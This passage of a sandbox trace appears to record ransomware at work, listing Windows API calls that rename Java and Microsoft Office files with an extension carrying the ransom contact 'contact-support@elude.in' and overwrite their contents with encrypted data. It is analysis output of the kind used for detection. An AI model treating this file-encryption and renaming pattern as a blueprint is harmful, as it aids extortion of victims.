lpBuffer=0x6ecc277*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.547] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.547] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.547] CloseHandle (hObject=0x4bc) returned 1 [0134.548] GetProcessHeap () returned 0x630000 [0134.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0134.548] GetProcessHeap () returned 0x630000 [0134.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70825e8 | out: hHeap=0x630000) returned 1 [0134.548] GetProcessHeap () returned 0x630000 [0134.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0134.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x16251480, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe34, dwReserved0=0x9187496, dwReserved1=0x70825e0, cFileName="messages_es.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ME67BD~1.FIR")) returned 0x6d5340 [0134.548] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0134.549] Sleep (dwMilliseconds=0x1) [0136.562] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", len=0x44 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 1 [0136.562] GetProcessHeap () returned 0x630000 [0136.562] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x244) returned 0x670860 [0136.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0136.578] CloseHandle (hObject=0x6d4) returned 1 [0136.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CRANIN~1.FIR")) returned 0x6d4e40 [0136.580] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0136.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0136.580] GetProcessHeap () returned 0x630000 [0136.580] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x720e328 [0136.580] GetProcessHeap () returned 0x630000 [0136.580] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71a0278 [0136.580] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.580] ReadFile (in: hFile=0x6d4, lpBuffer=0x720e328, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720e328*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0141.640] GetProcessHeap () returned 0x630000 [0141.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0141.640] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.640] WriteFile (in: hFile=0x6d4, lpBuffer=0x71a0278*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71a0278*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0141.640] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.640] WriteFile (in: hFile=0x6d4, lpBuffer=0x71ab677*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ab677*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0141.641] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.641] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0141.641] CloseHandle (hObject=0x6d4) returned 1 [0141.641] GetProcessHeap () returned 0x630000 [0141.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71a0278 | out: hHeap=0x630000) returned 1 [0141.642] GetProcessHeap () returned 0x630000 [0141.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x720e328 | out: hHeap=0x630000) returned 1 [0142.281] GetProcessHeap () returned 0x630000 [0142.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0142.281] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a5e8e68, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc1ae, dwReserved0=0x9187496, dwReserved1=0x720e320, cFileName="CRANINST.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CRANIN~1.FIR")) returned 0x6d4ec0 [0142.282] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0142.282] Sleep (dwMilliseconds=0x1) [0142.693] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms", len=0x55 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms") returned 1 [0142.693] GetProcessHeap () returned 0x630000 [0142.693] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x24b4) returned 0x7203db8 [0142.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0142.790] CloseHandle (hObject=0x6c8) returned 1 [0142.790] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0142.819] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeccfa4bf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeccfa4bf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xecdb905b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d68, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="VisioStdVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOS~1.FIR")) returned 0x6d5200 [0142.819] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0142.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0142.820] GetProcessHeap () returned 0x630000 [0142.820] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x72ba008 [0142.820] GetProcessHeap () returned 0x630000 [0142.820] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x72bcd98 [0142.820] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.820] ReadFile (in: hFile=0x6c8, lpBuffer=0x72ba008, nNumberOfBytesToRead=0x2d60, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ba008*, lpNumberOfBytesRead=0x637ff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0143.459] GetProcessHeap () returned 0x630000 [0143.459] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0143.459] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.459] WriteFile (in: hFile=0x6c8, lpBuffer=0x72bcd98*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72bcd98*, lpNumberOfBytesWritten=0x637ff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0143.460] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.460] WriteFile (in: hFile=0x6c8, lpBuffer=0x72bfaf7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72bfaf7*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.460] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.460] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.460] CloseHandle (hObject=0x6c8) returned 1 [0143.645] GetProcessHeap () returned 0x630000 [0143.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72bcd98 | out: hHeap=0x630000) returned 1 [0143.645] GetProcessHeap () returned 0x630000 [0143.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ba008 | out: hHeap=0x630000) returned 1 [0143.645] GetProcessHeap () returned 0x630000 [0143.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0143.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeccfa4bf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeccfa4bf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b75e601, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d8c, dwReserved0=0x9187496, dwReserved1=0x72ba000, cFileName="VisioStdVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOS~1.FIR")) returned 0x6d4ec0 [0143.862] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0143.862] Sleep (dwMilliseconds=0x1) [0143.871] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", len=0x3f | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS") returned 1 [0143.871] GetProcessHeap () returned 0x630000 [0143.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2694) returned 0x71f7c78 [0143.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0145.431] CloseHandle (hObject=0x6b8) returned 1 [0145.431] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.172] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f7cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GROOVE~3.FIR")) returned 0x6d54c0 [0147.172] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0147.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0147.173] GetProcessHeap () returned 0x630000 [0147.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70395c0 [0147.173] GetProcessHeap () returned 0x630000 [0147.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70449f0 [0147.173] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.173] ReadFile (in: hFile=0x6b8, lpBuffer=0x70395c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70395c0*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.121] GetProcessHeap () returned 0x630000 [0153.121] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0153.122] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.122] WriteFile (in: hFile=0x6b8, lpBuffer=0x70449f0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70449f0*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.122] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.122] WriteFile (in: hFile=0x6b8, lpBuffer=0x704fdef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704fdef*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0153.122] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.122] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0153.122] CloseHandle (hObject=0x6b8) returned 1 [0153.123] GetProcessHeap () returned 0x630000 [0153.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70449f0 | out: hHeap=0x630000) returned 1 [0153.128] GetProcessHeap () returned 0x630000 [0153.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70395c0 | out: hHeap=0x630000) returned 1 [0153.129] GetProcessHeap () returned 0x630000 [0153.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0153.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0153.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x21372ee0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f0, dwReserved0=0x9187496, dwReserved1=0x70395b8, cFileName="GROOVE.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GROOVE~3.FIR")) returned 0x6d5480 [0154.538] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0155.509] Sleep (dwMilliseconds=0x1) [0157.638] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", len=0x40 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS") returned 1 [0157.638] GetProcessHeap () returned 0x630000 [0157.638] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b44) returned 0x707d3d0 [0157.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0157.639] CloseHandle (hObject=0x714) returned 1 [0157.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0157.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0157.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0157.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee75a612, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee75a612, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaf54f91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x982d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIA07D~1.FIR")) returned 0x6d5540 [0157.640] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0157.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0157.640] GetProcessHeap () returned 0x630000 [0157.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0157.641] GetProcessHeap () returned 0x630000 [0157.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x726fa50 [0157.641] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.641] ReadFile (in: hFile=0x714, lpBuffer=0x7264620, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x637ff0c*=0xb400, 